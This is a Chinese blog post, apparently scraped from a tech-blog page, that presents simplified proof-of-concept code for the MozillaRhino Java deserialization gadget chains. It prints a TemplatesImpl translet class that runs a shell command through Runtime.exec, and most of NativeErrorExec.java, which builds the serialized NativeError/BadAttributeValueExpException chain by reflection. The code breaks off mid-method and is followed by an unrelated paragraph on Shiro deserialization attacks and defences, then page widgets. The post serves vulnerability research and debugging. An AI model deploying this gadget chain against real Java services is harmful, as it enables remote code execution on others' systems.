反序列化利用工具_MozillaRhino反序列化利用链

bd2347681118af96c9250eb3fa792b86.png

标题: MozillaRhino反序列化利用链

☆ 前言
☆ Serializable接口详解
   10) MozillaRhino反序列化漏洞
       10.1) org.mozilla.javascript.NativeError
           10.1.0) JacksonExploit.java
           10.1.1) NativeErrorExec.java
           10.1.2) 简化版调用关系
           10.1.3) NativeErrorExec2.java
           10.1.4) 调试器对被调试进程的挠动
           10.1.5) ysoserial.payloads.MozillaRhino1
       10.2) org.mozilla.javascript.NativeJavaObject
           10.2.1) NativeJavaObjectExec.java
           10.2.2) 简化版调用关系
           10.2.3) ysoserial.payloads.MozillaRhino2
           10.2.4) NativeJavaObjectExec6.java
           10.2.5) CVE-2019-6980(Zimbra)
☆ 参考资源

☆ 前言

本篇提供几个简版PoC以便调试分析MozillaRhino反序列化利用链。这大概是我见过的最复杂的两条利用链,对于Matthias Kaiser、An Trinh(tint0)非常服气。

基本没写文字分析。因为我深知,几乎所有的文字分析都是写的人在那里自言自语自嗨,只适合自己看,读的人要想整明白,需要的是完整的PoC及复现步骤,进而对之展开动态调试。

最佳入手方式是,先把PoC跑通,然后打个断点:

stop in java.lang.Runtime.exec(java.lang.String[])

最后查看调用栈回溯中的各层代码。当然,这只是其中一部分,有许多数据准备工作并不直接体现在前述调用栈回溯中,需要调试其他分支流程,去实践中领会精神吧。

☆ Serializable接口详解

10) MozillaRhino反序列化漏洞

10.1) org.mozilla.javascript.NativeError

参[89],Matthias Kaiser这篇"Return of the Rhino"是我最早接触的Java反序列化文章,大概是2019年11月。当时感觉每个字都认识,就是不知道在说啥,6个月后再次看到它,重读了一遍,这次懂了,学习之路不易。

PoC用到如下库:

js-1.7R2.jar
js-1.6R7.jar

10.1.0) JacksonExploit.java

同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。

/*
 * javac -encoding GBK -g -XDignore.symbol.file JacksonExploit.java
 *
 * 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file"
 *
 * warning: AbstractTranslet is internal proprietary API and may be removed in a future release
 */
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/*
 * 必须是public,否则不能成功执行命令
 */
public class JacksonExploit extends AbstractTranslet{
    /*
     * 必须是public
     */
    public JacksonExploit (){
        try
        {
            System.out.println( "scz is here" );
            Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } );
        }
        catch ( IOException e )
        {
            e.printStackTrace();
        }
    }

    /*
     * 必须重载这两个抽象方法,否则编译时报错
     */
    @Override
    public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ){
    }

    @Override
    public void transform ( DOM document, SerializationHandler[] handler ){
    }
}

10.1.1) NativeErrorExec.java

/*
 * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec.java
 */
import java.io.*;
import java.lang.reflect.*;
import javax.management.BadAttributeValueExpException;
import java.nio.file.Files;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import org.mozilla.javascript.*;

public class NativeErrorExec{
    /*
     * 参看TemplatesImplExec.java
     */
    private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception{
        byte[]          evilbyte    = Files.readAllBytes( ( new File( evilclass ) ).toPath() );
        TemplatesImpl   ti          = new TemplatesImpl();
        /*
         * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让
         * _bytecodes得到执行,中途就会抛异常。
         */
        Field           _bytecodes  = TemplatesImpl.class.getDeclaredField( "_bytecodes" );
        _bytecodes.setAccessible( true );
        _bytecodes.set( ti, new byte[][] { evilbyte }  );
        Field           _tfactory   = TemplatesImpl.class.getDeclaredField( "_tfactory" );
        _tfactory.setAccessible( true );
        _tfactory.set( ti, new TransformerFactoryImpl() );
        Field           _name       = TemplatesImpl.class.getDeclaredField( "_name" );
        _name.setAccessible( true );
        /*
         * 第二形参可以是任意字符串,比如空串,但不能是null
         */
        _name.set( ti, "" );
        return( ti );
    }  /* end of getTemplatesImpl */

    /*
     * 返回待序列化Object
     */
    @SuppressWarnings("unchecked")
    private static Object getObject ( String evilclass ) throws Exception{
        /*
         * 不是public类,没法import
         */
        Class               clz_NativeError     = Class.forName( "org.mozilla.javascript.NativeError" );
        Constructor         cons_NativeError    = clz_NativeError.getDeclaredConstructor();
        cons_NativeError.setAccessible( true );
        /*
         * NativeError实例
         */
        ScriptableObject    ne                  = ( ScriptableObject )cons_NativeError.newInstance();
        Method              m_enter             = Context.class.getDeclaredMethod( "enter" );
        /*
         * 设置
         *
         * org.mozilla.javascript.MemberBox.memberObject
         * org.mozilla.javascript.NativeJavaMethod.methods[0]
         * org.mozilla.javascript.NativeJavaMethod.functionName
         */
        NativeJavaMethod    njm_enter           = new NativeJavaMethod( m_enter, "name" );
        /*
         * 用njm_enter设置
         *
         * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
         *
         * 对应"name"
         *
         * 这次只是占坑,后面会用mb_enter替换掉njm_enter
         */
        ne.setGetterOrSetter( "name", 0, njm_enter, false );
        /*
         * private方法,不能直接调用
         */
        Method              m_getSlot           = ScriptableObject.class.getDeclaredMethod
        (
            "getSlot",
            String.class,
            int.class,
            int.class
        );
        m_getSlot.setAccessible( true );
        /*
         * SLOT_QUERY = 1
         */
        Object              slot                = m_getSlot.invoke( ne, "name", 0, 1 );
        Field               f_getter            = slot.getClass().getDeclaredField( "getter" );
        f_getter.setAccessible( true );
        /*
         * 无法直接import
         */
        Class               clz_MemberBox       = Class.forName( "org.mozilla.javascript.MemberBox" );
        Constructor         cons_MemberBox      = clz_MemberBox.getDeclaredConstructor( Method.class );
        cons_MemberBox.setAccessible( true );
        Object              mb_enter            = cons_MemberBox.newInstance( m_enter );
        /*
         * 用mb_enter设置
         *
         * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
         *
         * 对应"name"
         */
        f_getter.set( slot, mb_enter );
        Method              m_newTransformer    = TemplatesImpl.class.getDeclaredMethod( "newTransformer" );
        NativeJavaMethod    njm_newTransformer  = new NativeJavaMethod( m_newTransformer, "message" );
        /*
         * 用njm_newTransformer设置
         *
         * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
         *
         * 对应"message"
         *
         * 注意存在
         *
         * org.mozilla.javascript.ScriptableObject.slots[]
         *
         * 第一形参name不同,对应不同的slot
         */
        ne.setGetterOrSetter( "message", 0, njm_newTransformer, false );
        TemplatesImpl       ti                  = getTemplatesImpl( evilclass );
        Context             context             = Context.enter();
        /*
         * 参看
         *
         * org.mozilla.javascript.ScriptRuntime.initStandardObjects()
         *
         * 下面这个强制类型转换成立,不要被函数原型中的返回值类型迷惑
         */
        NativeObject        no                  = ( NativeObject )context.initStandardObjects();
        NativeJavaObject    njo                 = new NativeJavaObject( no, ti, TemplatesImpl.class );
        /*
         * 用njo设置
         *
         * org.mozilla.javascript.ScriptableObject.prototypeObject
         */
        ne.setPrototype( njo );
        BadAttributeValueExpException
                            bave                = new BadAttributeValueExpException( null );
        Field               f_val               = bave.getClass().getDeclaredField( "val" );
        f_val.setAccessible( true );
        f_val.set( bave, ne );
        return( bave );
    }  /* end of getObject */

    public static void main ( String[] argv ) throws Exception{
        String   
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Shiro是一个被广泛应用于Java应用程序中的安全框架,它提供了身份验证、授权、会话管理等功能。由于Shiro在处理用户会话序列化时存在一些安全漏洞,攻击者可以利用这些漏洞进行反序列化攻击。 反序列化攻击是一种利用Java对象序列化机制的攻击方法。攻击者可以通过构造恶意的序列化数据,将其传递给目标应用程序,然后利用漏洞触发目标应用程序对恶意数据的反序列化操作。这样一来,攻击者就能够在目标系统上执行任意代码,从而导致严重的安全问题。 为了利用Shiro的反序列化漏洞,攻击者需要先找到目标系统中使用了Shiro的应用程序。然后,攻击者可以使用开源的反序列化利用工具,如ysoserial或ShiroExploit,生成恶意的序列化数据。这些工具可以方便地构造包含恶意代码的序列化对象,并将其序列化为字节流。 一旦攻击者生成了恶意的序列化数据,他们就可以通过各种方式将其传递给目标应用程序,例如通过网络传输、文件上传等方式。当目标应用程序接收到这些恶意数据并进行反序列化操作时,恶意代码就会在目标系统上执行。 为了防止Shiro反序列化利用工具的攻击,开发人员可以采取以下措施: 1. 及时更新Shiro版本:Shiro开发团队会定期修复漏洞并发布新版本。开发人员应及时更新Shiro框架,以修复已知的反序列化漏洞。 2. 停用或限制不必要的Shiro功能:如果应用程序不需要某些Shiro功能,开发人员可以将其禁用或限制,以降低攻击面。 3. 输入验证与过滤:开发人员应该对用户输入进行严格的验证和过滤,以防止恶意的序列化数据被传递到应用程序中。 4. 序列化对象白名单:在反序列化时,开发人员可以使用白名单机制,限制只允许特定的序列化对象进行反序列化操作。 总之,Shiro反序列化利用工具是一种攻击手段,开发人员应该重视相关安全漏洞,并采取适当的措施来保护应用程序免受此类攻击的影响。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值